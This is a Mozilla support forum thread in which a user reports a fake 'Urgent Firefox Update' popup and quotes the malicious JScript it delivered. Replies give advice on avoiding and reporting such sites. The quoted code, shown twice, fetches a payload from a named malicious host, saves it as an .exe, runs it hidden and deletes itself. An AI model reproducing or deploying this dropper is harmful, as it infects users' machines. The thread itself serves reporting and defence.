X
Tap here to go to the mobile version of the site.

Support Forum

Where to send malware code

Posted

I have a .js file and .dat file that I snagged when a Urgent Firefox Update message popped up. This urgent update looked very Firefox Official. I noticed the redirect URL and it was: https://queidwhoreslag.net/9751229892037/e9e0075191d8aac19e485315d1b67c26.html. So I saved the .js file on one of my other computers and snagged some other stuff from their API. I have the malware code that is Firefox directed. Just need to know where to send the compressed files. Below is a glimpse at some of the .js code:


url='https://queidwhoreslag.net/10/524.dat';

fname=b.GetSpecialFolder(2)+'\\1e90999f64aa011197bfdf7c1792c61b.exe';
for(var i=1;i<=5;i++)
{

try { c.open('GET', url, false); c.send(null); break; }

    catch(e){

WScript.Sleep(5000); }

}
d.Open;
d.Type = 1;
d.Write(c.ResponseBody);
d.Position=0;
if (b.Fileexists(fname))b.DeleteFile(fname);
d.SaveToFile(fname);
a.run('cmd.exe /c "'+fname+'"',0,false);
var p = WScript.ScriptFullName;
if (b.FileExists(p))b.DeleteFile(p);
WScript.Echo('Update complete.'); 
} catch (e) {}

I have a .js file and .dat file that I snagged when a Urgent Firefox Update message popped up. This urgent update looked very Firefox Official. I noticed the redirect URL and it was: https://queidwhoreslag.net/9751229892037/e9e0075191d8aac19e485315d1b67c26.html. So I saved the .js file on one of my other computers and snagged some other stuff from their API. I have the malware code that is Firefox directed. Just need to know where to send the compressed files. Below is a glimpse at some of the .js code: ----------------------------------------------------------------------------------------------------------------- url='https://queidwhoreslag.net/10/524.dat'; fname=b.GetSpecialFolder(2)+'\\1e90999f64aa011197bfdf7c1792c61b.exe'; for(var i=1;i<=5;i++) { try { c.open('GET', url, false); c.send(null); break; } catch(e){ WScript.Sleep(5000); } } d.Open; d.Type = 1; d.Write(c.ResponseBody); d.Position=0; if (b.Fileexists(fname))b.DeleteFile(fname); d.SaveToFile(fname); a.run('cmd.exe /c "'+fname+'"',0,false); var p = WScript.ScriptFullName; if (b.FileExists(p))b.DeleteFile(p); WScript.Echo('Update complete.'); } catch (e) {} -----------------------------------------------------------------------------------------------------------------
FredMcD
  • Top 10 Contributor
4246 solutions 59390 answers

. Whenever you get a message / popup that software / files need to be updated;

DO NOT USE ANY OF THE PROVIDED LINKS

While this may be a legitimate message, it could also be Malware or a Virus. Any time you want or need to check for upgrades, go to the website of the True Owner of the program in question. For example, to check out Firefox, go to https://www.mozilla.org {web link}

You can report such a site at; Google Report Phishing Page {web link} which is the same when done while on site by going to Help > Report Web Forgery

Help us safeguard Mozilla’s trademarks by reporting misuse {web link}

. '''Whenever you get a message / popup that''' '''software / files need to be updated;''' <u>'''DO NOT USE ANY OF'''</u> <u>'''THE PROVIDED LINKS'''</u> While this may be a legitimate message, it could also be <u>'''Malware or a Virus'''</u>. Any time you want or need to check for upgrades, go to the website of the <u>'''True Owner'''</u> of the program in question. For example, to check out Firefox, go to '''https://www.mozilla.org''' {web link} You can report such a site at; '''[http://www.google.com/safebrowsing/report_phish/ Google Report Phishing Page]''' {web link} which is the same when done while on site by going to '''Help > Report Web Forgery''' '''[http://www.mozilla.org/en-US/legal/fraud-report/ Help us safeguard Mozilla’s trademarks by reporting misuse]''' {web link}

Question owner

I did not click on the provided URLs; I opened up my Kali Linux VM and grabbed the direct URL to file links and downloaded the package that the malware was intending to deliver behind the scenes. I am just wondering if Mozilla is interested in the code; if not then this is solved.

I did not click on the provided URLs; I opened up my Kali Linux VM and grabbed the direct URL to file links and downloaded the package that the malware was intending to deliver behind the scenes. I am just wondering if Mozilla is interested in the code; if not then this is solved.
James
  • Moderator
1596 solutions 11246 answers

Chosen Solution

You can bring up the code in https://support.mozilla.org/en-US/forums/contributors/712075